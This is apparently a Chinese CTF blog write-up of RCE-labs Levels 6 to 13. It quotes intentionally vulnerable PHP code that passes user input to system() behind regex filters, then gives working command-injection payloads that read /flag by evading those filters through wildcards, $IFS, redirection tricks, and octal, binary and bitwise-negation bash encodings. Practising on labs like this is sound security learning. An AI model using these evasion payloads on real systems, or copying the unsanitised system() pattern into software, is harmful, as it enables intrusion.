最近在学习RCE,拿RCE-labs练练手,之前打了Level1-5,继续往后肝,个人感觉Level6-13难度不是很高,基本上用作者提供的工具就可以直接解决掉一半。
(都是本人把靶场打过一遍之后写的,有些知识点也是个人理解,如有错误欢迎指正)
之前本人写的RCE-Labs(Level1-5)练习链接:https://blog.csdn.net/Friday_quicker/article/details/150059026?spm=1001.2014.3001.5501
Level-6
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 挑战关 ---
刚才,学了什么来着!?
*/
function hello_shell($cmd){
if(preg_match("/[b-zA-Z_@#%^&*:{}\-\+<>\"|`;\[\]]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从上面的代码中可以看到当触发以上某些通配符时会触发waf阻断
分析哪些字符没有被阻断
a
0-9
?,或者还有一些特殊字符
以此来构造payload
?cmd=/???/?a? /??a?
输入flag,显示正确
Level-7
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 终端特殊字符 ---
在遇到空格被过滤的情况下,通常使用 %09 也就是TAB的URL编码来绕过,在终端环境下 空格 被视为一个命令分隔符,本质上由 $IFS 变量控制,而 $IFS 的默认值是空格、制表符和换行符,所以我们还可以通过直接键入 $IFS 来绕过空格过滤。
*/
function hello_shell($cmd){
if(preg_match("/flag| /", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从以上的代码可以知道/flag和空格不能直接输入,不然会被waf拦截
根据作者的提示,将空格用%09和$IFS替换,构造payload
?cmd=cat%09/f*
?cmd=cat$IFS/f*
提交flag显示正确
Level-8
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - 重定向 ---
大多数 UNIX 系统命令从你的终端接受输入并将所产生的输出发送回到您的终端。一个命令通常从一个叫标准输入的地方读取输入,默认情况下,这恰好是你的终端。同样,一个命令通常将其输出写入到标准输出,默认情况下,这也是你的终端 —— 这些是命令有回显的基础。
如果希望执行某个命令,但又不希望在屏幕上显示输出结果,那么可以将输出重定向到 /dev/null:
$ command > /dev/null
/dev/null 是一个特殊的文件,写入到它的内容都会被丢弃;如果尝试从该文件读取内容,那么什么也读不到。但是 /dev/null 文件非常有用,将命令的输出重定向到它,会起到"禁止输出"的效果。
如果希望屏蔽 stdout 和 stderr,可以这样写:
$ command > /dev/null 2>&1
*/
function hello_shell($cmd){
/*>/dev/null 将不会有任何回显,但会回显错误,加上 2>&1 后连错误也会被屏蔽掉*/
system($cmd.">/dev/null 2>&1");
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从上面的代码中可以看到输入的cmd命令会被重定向到/dev/null文件,会把回显内容和错误都屏蔽掉
方法一:
这样的话可以构造payload,来让执行的命令输出结果重定向到某个文件中,然后再打开文件查看
第一步:
/?cmd=cat /flag >1.txt;
第二步:(直接访问创建的文件)
/1.txt
方法二:
其实还有个更简单的方法,因为代码中显示是输入的cmd中的命令会被重定向到/dev/null中,所以直接在重定向前插入一个截断符,做一个截断就可以了
构造payload
?cmd=cat /flag;
提交flag后显示正确
Level-9
先看一下题目要求
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_八进制转义 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
从该关卡开始你会发现我们在Dockerfile中添加了一行改动:
RUN ln -sf /bin/bash /bin/sh
这是由于在PHP中,system是执行sh的,sh通常只是一个软连接,并不是真的有一个shell叫sh。在debian系操作系统中,sh指向dash;在centos系操作系统中,sh指向bash,我们用的底层镜像 php:7.3-fpm-alpine 默认指向的 /bin/busybox ,要验证这一点,你可以对 /bin/sh 使用 ls -l 命令查看,在这个容器中,你会得到下面的回显:
bash-5.1# ls -l /bin/sh
lrwxrwxrwx 1 root root 12 Mar 16 2022 /bin/sh -> /bin/busybox
我们需要用到的特性只有bash才支持,请记住这一点,这也是我们手动修改指向的原因。
在这个关卡主要利用的是在终端中,$'\xxx'可以将八进制ascii码解析为字符,仅基于这个特性,我们可以将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式,但是注意,这种方式在没有空格的情况下无法执行带参数的命令。
比如"ls -l"也就是$'\154\163\40\55\154' 只能拆分为$'\154\163' 空格 $'\55\154'三部分。
bash-5.1# $'\154\163\40\55\154'
bash: ls -l: command not found
bash-5.1# $'\154\163' $'\55\154'
total 4
-rw-r--r-- 1 www-data www-data 829 Aug 14 19:39 index.php
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从上面代码中可以看到,数字1-9没有被拦截
就可以根据上面作者提示的思路,可以利用终端将八进制ascii码解析为字符的特点,将传入的命令的每一个字符转换为$'\xxx\xxx\xxx\xxx'的形式
利用题目提供的在线脚本直接将cat /flag转换成有效payload
在线脚本链接:BashFuck Payload Generator(可以收藏一下,后面的题目都用到了)
因为终端中没有空格,没有办法执行带参数的命令所以构造的payload如下
cmd=$'\143\141\164' $'\57\146\154\141\147'
输入flag,解决
Level-10
先看一下题目信息
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_二进制整数替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据。
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z2-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从代码中可以看到,虽然阻断了很多的数字和符号,但是1,0,$,'并没有阻断,然后再根据作者的提示,可以有一个构造二进制绕过waf的思路
还是直接用在线脚本生成一个payload
$0<<<$0\<\<\<\$\'\\$(($((1<<1))#10001111))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10100100))\\$(($((1<<1))#101000))\\$(($((1<<1))#111001))\\$(($((1<<1))#10010010))\\$(($((1<<1))#10011010))\\$(($((1<<1))#10001101))\\$(($((1<<1))#10010011))\'
后面查了资料以后发现,转换成二进制与八进制不同,
八进制中间要有空格隔开,二进制中间反而不用
这样的话,上面的payload是可以用的,但是还要考虑#这个符号的特性,在URL中,# 表示锚点(Anchor),它用于指向网页中的特定位置或片段。锚点的主要功能是让浏览器快速定位到页面内的某个部分
所以可以直接转换成url编码格式来进行命令执行,转换后payload如下
?cmd=%24%30%3c%3c%3c%24%30%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%31%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%31%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%31%30%30%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%31%31%30%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%31%30%31%30%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%30%31%31%30%31%29%29%5c%5c%24%28%28%24%28%28%31%3c%3c%31%29%29%23%31%30%30%31%30%30%31%31%29%29%5c%27
输入flag值,显示正确
Level-11
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_数字1的特殊变量替换 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为终端中支持 $((2#binary)) 解析二进制数据 + 我们用 ${##} 来替换 1
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z1-9\"%*+,-.\/:;=>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_POST['cmd']) ? hello_shell($_POST['cmd']) : null;
highlight_file(__FILE__);
?>
从代码以及提示中可以看到,有0,{},#,$,<,\这类还没有被拦截,以及cmd用post传参
以下是用工具生成的payload
$0<<<$0\<\<\<\$\'\\$(($((${##}<<${##}))#${##}000${##}${##}${##}${##}))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}0${##}00${##}00))\\$(($((${##}<<${##}))#${##}0${##}000))\\$(($((${##}<<${##}))#${##}${##}${##}00${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}0))\\$(($((${##}<<${##}))#${##}00${##}${##}0${##}0))\\$(($((${##}<<${##}))#${##}000${##}${##}0${##}))\\$(($((${##}<<${##}))#${##}00${##}00${##}${##}))\'
利用post发送cmd命令后,成功显示出flag
Level-12
我目前使用的靶场中,这个题目有点问题,先跳过吧
Level-13
<?php
/*
# -*- coding: utf-8 -*-
# @Author: 探姬
# @Date: 2024-08-11 14:34
# @Repo: github.com/ProbiusOfficial/RCE-labs
# @email: admin@hello-ctf.com
# @link: hello-ctf.com
--- HelloCTF - RCE靶场 : 命令执行 - bash终端的无字母命令执行_特殊扩展替换任意数字 ---
题目已经拥有成熟脚本:https://github.com/ProbiusOfficial/bashFuck
你也可以使用在线生成:https://probiusofficial.github.io/bashFuck/
题目本身也提供一个/exp.php方便你使用
本关卡的考点为 $(()) + 取反 构造任意数字
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
*/
function hello_shell($cmd){
if(preg_match("/[A-Za-z0-9\"%*+,-.\/:;>?@[\]^`|]/", $cmd)){
die("WAF!");
}
system($cmd);
}
isset($_GET['cmd']) ? hello_shell($_GET['cmd']) : null;
highlight_file(__FILE__);
?>
从上面的代码中可以看到,一个新的知识点,取反绕过
echo $(()) -> 0
echo $((~$(()))) -> -1
echo $(($((~$(())))$((~$(()))))) -> -2
直接利用作者给的工具,生成有效载荷
__=$(())&&${!__}<<<${!__}\<\<\<\$\'\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$(())\\$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))))))\\$((~$(($((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))$((~$(($((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))$((~$(())))))))\'
试试这个payload能不能成功,传参的时候发现,&&会对结果有影响
url编码一下再传参
%5f%5f%3d%24%28%28%29%29%26%26%24%7b%21%5f%5f%7d%3c%3c%3c%24%7b%21%5f%5f%7d%5c%3c%5c%3c%5c%3c%5c%24%5c%27%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%5c%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%24%28%28%7e%24%28%28%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%24%28%28%7e%24%28%28%29%29%29%29%29%29%29%29%5c%27
其实RCE-LAB(Level6-13)很早就写完了,但是忘记了发,后面的Level14-18也在很久之前就肝完了,之后有空的时候会发,后面的level相交前面的会稍微难一些。